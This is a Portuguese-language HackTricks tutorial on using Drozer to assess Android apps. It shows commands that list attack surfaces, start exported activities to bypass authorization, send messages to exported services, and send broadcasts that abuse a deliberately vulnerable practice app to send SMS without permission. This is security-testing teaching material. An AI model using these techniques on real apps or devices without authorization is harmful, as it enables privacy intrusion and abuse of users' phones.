# Drozer Tutorial {% hint style="success" %} Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} **Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## APKs para testar * [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (do mrwlabs) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **Partes deste tutorial foram extraídas da** [**documentação do Drozer pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** ## Instalação Instale o Drozer Client dentro do seu host. Baixe-o a partir das [últimas versões](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Baixe e instale o APK do drozer a partir das [últimas versões](https://github.com/mwrlabs/drozer/releases). Neste momento é [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` ### Iniciando o Servidor O Agente está rodando na porta 31415, precisamos [encaminhar a porta](https://en.wikipedia.org/wiki/Port\_forwarding) para estabelecer a comunicação entre o Cliente Drozer e o Agente, aqui está o comando para fazer isso: ```bash adb forward tcp:31415 tcp:31415 ``` Finalmente, **inicie** a **aplicação** e pressione o botão "**ON**" ![](<../../../.gitbook/assets/image (459).png>) E conecte-se a ela: ```bash drozer console connect ``` ## Interesting Commands | **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | Mostra a ajuda do módulo selecionado | | **list** | Mostra uma lista de todos os módulos drozer que podem ser executados na sessão atual. Isso oculta módulos que você não tem permissões apropriadas para executar. | | **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente. | | **clean** | Remove arquivos temporários armazenados pelo drozer no dispositivo Android. | | **load** | Carrega um arquivo contendo comandos drozer e os executa em sequência. | | **module** | Encontra e instala módulos drozer adicionais da Internet. | | **unset** | Remove uma variável nomeada que o drozer passa para qualquer shell Linux que ele gera. | | **set** | Armazena um valor em uma variável que será passada como uma variável ambiental para qualquer shell Linux gerado pelo drozer. | | **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente | | **run MODULE** | Executa um módulo drozer | | **exploit** | O drozer pode criar exploits para executar no dispositivo. `drozer exploit list` | | **payload** | Os exploits precisam de um payload. `drozer payload list` | ### Package Encontre o **nome** do pacote filtrando por parte do nome: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Informações Básicas** do pacote: ```bash dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Leia **Manifest**: ```bash run app.package.manifest jakhar.aseem.diva ``` **Superfície de ataque** do pacote: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` * **Atividades**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir você de lançá-la. * **Provedores de conteúdo**: Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal). * **Serviços**: * **is debuggable**: [Saiba mais](./#is-debuggeable) ### Atividades O valor “android:exported” de um componente de atividade exportado é definido como **“true”** no arquivo AndroidManifest.xml: ```markup ``` **Listar atividades exportadas**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Iniciar atividade**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedi-lo de lançá-la. {% code overflow="wrap" %} ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` {% endcode %} Você também pode iniciar uma atividade exportada a partir do **adb**: * PackageName é com.example.demo * Exported ActivityName é com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Content Providers Este post era muito grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md). ### Services Um serviço exportado é declarado dentro do Manifest.xml: {% code overflow="wrap" %} ```markup ``` {% endcode %} Dentro do código **verifique** a função **`handleMessage`** que irá **receber** a **mensagem**: ![](<../../../.gitbook/assets/image (82).png>) #### Listar serviço ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Interagir** com um serviço ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Exemplo Dê uma olhada na ajuda do **drozer** para `app.service.send`: ![](<../../../.gitbook/assets/image (1079).png>) Note que você enviará primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\ Usando a opção `--extra` você pode enviar algo interpretado por "_msg.replyTo_", e usando `--bundle-as-obj` você cria um objeto com os detalhes fornecidos. No exemplo a seguir: * `what == 2354` * `arg1 == 9234` * `arg2 == 1` * `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ```bash run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ![](<../../../.gitbook/assets/image (647).png>) ### Broadcast Receivers **Na seção de informações básicas do Android, você pode ver o que é um Broadcast Receiver**. Após descobrir esses Broadcast Receivers, você deve **verificar o código** deles. Preste atenção especial à função **`onReceive`**, pois ela lidará com as mensagens recebidas. #### **Detectar todos** os broadcast receivers ```bash run app.broadcast.info #Detects all ``` #### Verifique os receptores de broadcast de um aplicativo ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Interações **Broadcast** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Enviar uma mensagem Neste exemplo, abusando do [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, você pode **enviar um SMS arbitrário** para qualquer destino não premium **sem pedir** permissão ao usuário. ![](<../../../.gitbook/assets/image (415).png>) ![](<../../../.gitbook/assets/image (573).png>) Se você ler o código, os parâmetros "_phoneNumber_" e "_message_" devem ser enviados para o Content Provider. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### É depurável Um APK de produção nunca deve ser depurável.\ Isso significa que você pode **anexar um depurador java** à aplicação em execução, inspecioná-la em tempo de execução, definir pontos de interrupção, avançar passo a passo, coletar valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-applciation.md) sobre como aprofundar-se quando sua aplicação é depurável e injetar código em tempo de execução. Quando uma aplicação é depurável, ela aparecerá no Manifest: ```xml **Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma **plataforma premium de bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}